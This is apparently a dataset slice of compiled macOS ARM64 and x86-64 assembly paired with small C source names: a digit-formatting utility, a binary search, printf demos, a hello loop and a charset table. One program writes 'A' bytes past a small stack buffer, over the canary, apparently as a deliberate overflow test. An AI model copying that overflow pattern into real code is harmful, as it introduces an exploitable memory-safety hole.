ldr x8, [sp, #8]
add x10, x8, #1
adrp x8, _utility_u32_sprint.digits@PAGE
add x8, x8, _utility_u32_sprint.digits@PAGEOFF
mov x9, x8
add x9, x9, x10
ldrb w9, [x9]
ldr x10, [sp, #16]
subs x10, x10, #1
mov x11, x10
str x11, [sp, #16]
strb w9, [x10]
ldr x9, [sp, #8]
add x8, x8, x9
ldrb w8, [x8]
ldr x9, [sp, #16]
subs x9, x9, #1
mov x10, x9
str x10, [sp, #16]
strb w8, [x9]
b LBB1_1
LBB1_3:
ldr w8, [sp, #28]
subs w8, w8, #10
cset w8, hs
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4:
ldr w8, [sp, #28]
add w8, w8, #48
ldr x9, [sp, #16]
subs x10, x9, #1
str x10, [sp, #16]
sturb w8, [x9, #-1]
b LBB1_6
LBB1_5:
ldr w8, [sp, #28]
lsl w8, w8, #1
; kill: def $x8 killed $w8
str x8, [sp, #8]
ldr x8, [sp, #8]
add x10, x8, #1
adrp x8, _utility_u32_sprint.digits@PAGE
add x8, x8, _utility_u32_sprint.digits@PAGEOFF
mov x9, x8
add x9, x9, x10
ldrb w9, [x9]
ldr x10, [sp, #16]
subs x10, x10, #1
mov x11, x10
str x11, [sp, #16]
strb w9, [x10]
ldr x9, [sp, #8]
add x8, x8, x9
ldrb w8, [x8]
ldr x9, [sp, #16]
subs x9, x9, #1
mov x10, x9
str x10, [sp, #16]
strb w8, [x9]
b LBB1_6
LBB1_6:
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _utility_u32_toa ; -- Begin function utility_u32_toa
.p2align 2
_utility_u32_toa: ; @utility_u32_toa
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str x1, [sp, #16]
ldur w0, [x29, #-4]
bl _utility_u32_len
str x0, [sp, #8]
ldr x9, [sp, #8]
ldr x8, [sp, #16]
add x8, x8, x9
str x8, [sp, #16]
ldr x8, [sp, #16]
strb wzr, [x8]
ldur w0, [x29, #-4]
ldr x1, [sp, #16]
bl _utility_u32_sprint
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _utility_tsc ; -- Begin function utility_tsc
.p2align 2
_utility_tsc: ; @utility_tsc
.cfi_startproc
; %bb.0:
mov x0, #0
ret
.cfi_endproc
; -- End function
.section __TEXT,__const
.p2align 2 ; @utility_u32_len.pow_10
_utility_u32_len.pow_10:
.long 0 ; 0x0
.long 10 ; 0xa
.long 100 ; 0x64
.long 1000 ; 0x3e8
.long 10000 ; 0x2710
.long 100000 ; 0x186a0
.long 1000000 ; 0xf4240
.long 10000000 ; 0x989680
.long 100000000 ; 0x5f5e100
.long 1000000000 ; 0x3b9aca00
_utility_u32_sprint.digits: ; @utility_u32_sprint.digits
.asciz "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _utility_u32_len ## -- Begin function utility_u32_len
.p2align 4, 0x90
_utility_u32_len: ## @utility_u32_len
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
orl $1, %eax
bsrl %eax, %ecx
xorl $31, %ecx
movl $32, %eax
subl %ecx, %eax
imull $1233, %eax, %eax ## imm = 0x4D1
sarl $12, %eax
movl %eax, -8(%rbp)
movl -8(%rbp), %eax
movl -4(%rbp), %ecx
movl -8(%rbp), %edx
movl %edx, %esi
leaq _utility_u32_len.pow_10(%rip), %rdx
cmpl (%rdx,%rsi,4), %ecx
setb %cl
andb $1, %cl
movzbl %cl, %ecx
subl %ecx, %eax
addl $1, %eax
movl %eax, %eax
## kill: def $rax killed $eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _utility_u32_sprint ## -- Begin function utility_u32_sprint
.p2align 4, 0x90
_utility_u32_sprint: ## @utility_u32_sprint
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
cmpl $100, -4(%rbp)
jb LBB1_3
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl -4(%rbp), %eax
movl $100, %ecx
xorl %edx, %edx
divl %ecx
shll $1, %edx
movl %edx, %eax
## kill: def $rax killed $eax
movq %rax, -24(%rbp)
movl -4(%rbp), %eax
movl $100, %ecx
xorl %edx, %edx
divl %ecx
movl %eax, -4(%rbp)
movq -24(%rbp), %rcx
leaq _utility_u32_sprint.digits(%rip), %rax
movb 1(%rax,%rcx), %cl
movq -16(%rbp), %rax
movq %rax, %rdx
addq $-1, %rdx
movq %rdx, -16(%rbp)
movb %cl, -1(%rax)
movq -24(%rbp), %rcx
leaq _utility_u32_sprint.digits(%rip), %rax
movb (%rax,%rcx), %cl
movq -16(%rbp), %rax
movq %rax, %rdx
addq $-1, %rdx
movq %rdx, -16(%rbp)
movb %cl, -1(%rax)
jmp LBB1_1
LBB1_3:
cmpl $10, -4(%rbp)
jae LBB1_5
## %bb.4:
movl -4(%rbp), %eax
addl $48, %eax
movb %al, %cl
movq -16(%rbp), %rax
movq %rax, %rdx
addq $-1, %rdx
movq %rdx, -16(%rbp)
movb %cl, -1(%rax)
jmp LBB1_6
LBB1_5:
movl -4(%rbp), %eax
shll $1, %eax
movl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -24(%rbp)
movq -24(%rbp), %rcx
leaq _utility_u32_sprint.digits(%rip), %rax
movb 1(%rax,%rcx), %cl
movq -16(%rbp), %rax
movq %rax, %rdx
addq $-1, %rdx
movq %rdx, -16(%rbp)
movb %cl, -1(%rax)
movq -24(%rbp), %rcx
leaq _utility_u32_sprint.digits(%rip), %rax
movb (%rax,%rcx), %cl
movq -16(%rbp), %rax
movq %rax, %rdx
addq $-1, %rdx
movq %rdx, -16(%rbp)
movb %cl, -1(%rax)
LBB1_6:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _utility_u32_toa ## -- Begin function utility_u32_toa
.p2align 4, 0x90
_utility_u32_toa: ## @utility_u32_toa
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
movl -4(%rbp), %edi
callq _utility_u32_len
movq %rax, -24(%rbp)
movq -24(%rbp), %rax
addq -16(%rbp), %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movb $0, (%rax)
movl -4(%rbp), %edi
movq -16(%rbp), %rsi
callq _utility_u32_sprint
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _utility_tsc ## -- Begin function utility_tsc
.p2align 4, 0x90
_utility_tsc: ## @utility_tsc
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
## InlineAsm Start
rdtsc
## InlineAsm End
movl %eax, -4(%rbp)
movl %edx, -8(%rbp)
movl -8(%rbp), %eax
## kill: def $rax killed $eax
shlq $32, %rax
movl -4(%rbp), %ecx
## kill: def $rcx killed $ecx
orq %rcx, %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__const
.p2align 4 ## @utility_u32_len.pow_10
_utility_u32_len.pow_10:
.long 0 ## 0x0
.long 10 ## 0xa
.long 100 ## 0x64
.long 1000 ## 0x3e8
.long 10000 ## 0x2710
.long 100000 ## 0x186a0
.long 1000000 ## 0xf4240
.long 10000000 ## 0x989680
.long 100000000 ## 0x5f5e100
.long 1000000000 ## 0x3b9aca00
.p2align 4 ## @utility_u32_sprint.digits
_utility_u32_sprint.digits:
.asciz "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899"
.subsections_via_symbols
| the_stack_data/651820.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _binarySearch ; -- Begin function binarySearch
.p2align 2
_binarySearch: ; @binarySearch
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
stur w2, [x29, #-16]
mov w8, #1
stur w8, [x29, #-20]
ldur w8, [x29, #-12]
str w8, [sp, #24]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-20]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_8
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
ldr w9, [sp, #24]
add w8, w8, w9
mov w9, #2
sdiv w8, w8, w9
str w8, [sp, #20]
ldur w8, [x29, #-16]
ldur x9, [x29, #-8]
ldrsw x10, [sp, #20]
ldr w9, [x9, x10, lsl #2]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #24]
adrp x9, _compareNum@PAGE
ldr w8, [x9, _compareNum@PAGEOFF]
add w8, w8, #1
str w8, [x9, _compareNum@PAGEOFF]
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
ldur x9, [x29, #-8]
ldrsw x10, [sp, #20]
ldr w9, [x9, x10, lsl #2]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
ldur w9, [x29, #-16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_8
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #20]
subs w8, w8, #1
stur w8, [x29, #-20]
adrp x9, _compareNum@PAGE
ldr w8, [x9, _compareNum@PAGEOFF]
add w8, w8, #1
str w8, [x9, _compareNum@PAGEOFF]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
LBB0_8:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
stur wzr, [x29, #-8]
stur wzr, [x29, #-12]
stur wzr, [x29, #-16]
ldursw x8, [x29, #-12]
lsl x0, x8, #2
bl _malloc
str x0, [sp, #24]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr x0, [sp, #24]
ldur w8, [x29, #-12]
add w9, w8, #1
stur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
sxtw x8, w8
lsl x1, x8, #2
bl _realloc
str x0, [sp, #24]
ldr x8, [sp, #24]
ldursw x9, [x29, #-8]
mov x10, x9
add w10, w10, #1
stur w10, [x29, #-8]
add x8, x8, x9, lsl #2
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _scanf
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
bl _getchar
subs w8, w0, #10
cset w8, ne
and w8, w8, #0x1
strb w8, [sp, #23]
ands w8, w8, #0xff
cset w8, ne
tbnz w8, #0, LBB1_1
b LBB1_3
LBB1_3:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #16
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _scanf
ldr x0, [sp, #24]
ldur w1, [x29, #-12]
ldur w2, [x29, #-16]
bl _binarySearch
adrp x8, _compareNum@PAGE
ldr w9, [x8, _compareNum@PAGEOFF]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldr x0, [sp, #24]
bl _free
; kill: def $x8 killed $xzr
str xzr, [sp, #24]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _system
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.zerofill __DATA,__bss,_compareNum,4,2 ; @compareNum
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\345\267\262\346\211\276\345\210\260\346\225\260\345\255\227%d\343\200\202"
l_.str.1: ; @.str.1
.asciz "\350\257\267\350\276\223\345\205\245\350\246\201\346\237\245\346\211\276\347\232\204\346\225\260\347\273\204\351\230\237\345\210\227\357\274\210\347\224\250\347\251\272\346\240\274\345\210\206\351\232\224\346\225\260\347\273\204\345\205\203\347\264\240\357\274\211\357\274\232\n"
l_.str.2: ; @.str.2
.asciz "%d"
l_.str.3: ; @.str.3
.asciz "\350\257\267\350\276\223\345\205\245\350\246\201\346\237\245\346\211\276\347\232\204\346\225\260\345\255\227\357\274\232\n"
l_.str.4: ; @.str.4
.asciz "\n\346\237\245\346\211\276\347\232\204\346\254\241\346\225\260\344\270\272\357\274\232%d\n"
l_.str.5: ; @.str.5
.asciz "pause"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _binarySearch ## -- Begin function binarySearch
.p2align 4, 0x90
_binarySearch: ## @binarySearch
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl %edx, -16(%rbp)
movl $1, -20(%rbp)
movl -12(%rbp), %eax
movl %eax, -24(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -24(%rbp), %eax
jg LBB0_8
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
addl -24(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, -28(%rbp)
movl -16(%rbp), %eax
movq -8(%rbp), %rcx
movslq -28(%rbp), %rdx
cmpl (%rcx,%rdx,4), %eax
jge LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
movl _compareNum(%rip), %eax
addl $1, %eax
movl %eax, _compareNum(%rip)
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
movq -8(%rbp), %rcx
movslq -28(%rbp), %rdx
cmpl (%rcx,%rdx,4), %eax
jne LBB0_6
## %bb.5:
movl -16(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_8
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movl -28(%rbp), %eax
subl $1, %eax
movl %eax, -20(%rbp)
movl _compareNum(%rip), %eax
addl $1, %eax
movl %eax, _compareNum(%rip)
## %bb.7: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
LBB0_8:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -8(%rbp)
movl $0, -12(%rbp)
movl $0, -16(%rbp)
movslq -12(%rbp), %rdi
shlq $2, %rdi
callq _malloc
movq %rax, -24(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rdi
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
movslq %eax, %rsi
shlq $2, %rsi
callq _realloc
movq %rax, -24(%rbp)
movq -24(%rbp), %rsi
movl -8(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -8(%rbp)
cltq
shlq $2, %rax
addq %rax, %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
callq _getchar
cmpl $10, %eax
setne %al
andb $1, %al
movzbl %al, %eax
## kill: def $al killed $al killed $eax
movb %al, -25(%rbp)
cmpb $0, %al
jne LBB1_1
## %bb.3:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.2(%rip), %rdi
leaq -16(%rbp), %rsi
movb $0, %al
callq _scanf
movq -24(%rbp), %rdi
movl -12(%rbp), %esi
movl -16(%rbp), %edx
callq _binarySearch
movl _compareNum(%rip), %esi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movq -24(%rbp), %rdi
callq _free
movq $0, -24(%rbp)
leaq L_.str.5(%rip), %rdi
callq _system
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.zerofill __DATA,__bss,_compareNum,4,2 ## @compareNum
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\345\267\262\346\211\276\345\210\260\346\225\260\345\255\227%d\343\200\202"
L_.str.1: ## @.str.1
.asciz "\350\257\267\350\276\223\345\205\245\350\246\201\346\237\245\346\211\276\347\232\204\346\225\260\347\273\204\351\230\237\345\210\227\357\274\210\347\224\250\347\251\272\346\240\274\345\210\206\351\232\224\346\225\260\347\273\204\345\205\203\347\264\240\357\274\211\357\274\232\n"
L_.str.2: ## @.str.2
.asciz "%d"
L_.str.3: ## @.str.3
.asciz "\350\257\267\350\276\223\345\205\245\350\246\201\346\237\245\346\211\276\347\232\204\346\225\260\345\255\227\357\274\232\n"
L_.str.4: ## @.str.4
.asciz "\n\346\237\245\346\211\276\347\232\204\346\254\241\346\225\260\344\270\272\357\274\232%d\n"
L_.str.5: ## @.str.5
.asciz "pause"
.subsections_via_symbols
| the_stack_data/247144.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/1099581.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #24]
str w0, [sp, #20]
str x1, [sp, #8]
mov w8, #1
str w8, [sp, #4]
str wzr, [sp]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp]
subs w8, w8, #17
cset w8, le
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2:
b LBB0_5
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldrsw x9, [sp]
sub x8, x29, #18
add x9, x8, x9
mov w8, #65
strb w8, [x9]
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr w9, [sp, #4]
ldr w8, [sp]
add w8, w8, w9
str w8, [sp]
b LBB0_1
LBB0_5:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
bl ___stack_chk_fail
LBB0_7:
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -24(%rbp)
movl %edi, -28(%rbp)
movq %rsi, -40(%rbp)
movl $1, -44(%rbp)
movl $0, -48(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $17, -48(%rbp)
jle LBB0_3
## %bb.2:
jmp LBB0_5
LBB0_3: ## in Loop: Header=BB0_1 Depth=1
movslq -48(%rbp), %rax
movb $65, -18(%rbp,%rax)
## %bb.4: ## in Loop: Header=BB0_1 Depth=1
movl -44(%rbp), %eax
addl -48(%rbp), %eax
movl %eax, -48(%rbp)
jmp LBB0_1
LBB0_5:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_7
## %bb.6:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
LBB0_7:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/129425.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
stur w8, [x29, #-16] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov w8, #10
stur w8, [x29, #-8]
mov w8, #2
stur w8, [x29, #-12]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
ldur w9, [x29, #-8]
ldur w10, [x29, #-12]
subs w10, w9, w10
mov x9, sp
str x8, [x9]
mov x8, #2
str x8, [x9, #8]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #16]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
str x0, [sp, #24] ; 8-byte Folded Spill
bl _printf
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
bl _printf
ldur w0, [x29, #-16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Doing it right:"
l_.str.1: ; @.str.1
.asciz "%d minus %d is %d\n"
l_.str.2: ; @.str.2
.asciz "Doing it wrong:"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $10, -8(%rbp)
movl $2, -12(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl -8(%rbp), %esi
movl -8(%rbp), %ecx
subl -12(%rbp), %ecx
leaq L_.str.1(%rip), %rdi
movl $2, %edx
movb $0, %al
callq _printf
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl -8(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Doing it right:"
L_.str.1: ## @.str.1
.asciz "%d minus %d is %d\n"
L_.str.2: ## @.str.2
.asciz "Doing it wrong:"
.subsections_via_symbols
| the_stack_data/21194.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_2 Depth 2
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
str wzr, [sp, #8]
b LBB0_2
LBB0_2: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #8]
mov w9, #57600
movk w9, #1525, lsl #16
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_5
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_2 Depth=2
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_2 Depth=2
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB0_2
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Hello world... from hello1.c\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_2 Depth 2
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -8(%rbp)
LBB0_2: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $100000000, -8(%rbp) ## imm = 0x5F5E100
jge LBB0_5
## %bb.3: ## in Loop: Header=BB0_2 Depth=2
jmp LBB0_4
LBB0_4: ## in Loop: Header=BB0_2 Depth=2
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_2
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Hello world... from hello1.c\n"
.subsections_via_symbols
| the_stack_data/7950569.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __DATA,__data
.globl ___iso_to_cp500 ; @__iso_to_cp500
___iso_to_cp500:
.ascii "mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm@O\177{[lP}M]\\Nk`Ka\360\361\362\363\364\365\366\367\370\371z^L~no|\301\302\303\304\305\306\307\310\311\321\322\323\324\325\326\327\330\331\342\343\344\345\346\347\350\351J\340Z_my\201\202\203\204\205\206\207\210\211\221\222\223\224\225\226\227\230\231\242\243\244\245\246\247\250\251\300\273\320\241mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmA\252\260\261\237\262j\265\275\264\232\212\272\312\257\274\220\217\352\372\276\240\266\263\235\332\233\213\267\270\271\253debfcg\236htqrsxuvw\254i\355\356\353\357\354\277\200\375\376\373\374\255\216YDEBFCG\234HTQRSXUVW\214I\315\316\313\317\314\341p\335\336\333\334\215\256\337"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __DATA,__data
.globl ___iso_to_cp500 ## @__iso_to_cp500
.p2align 4
___iso_to_cp500:
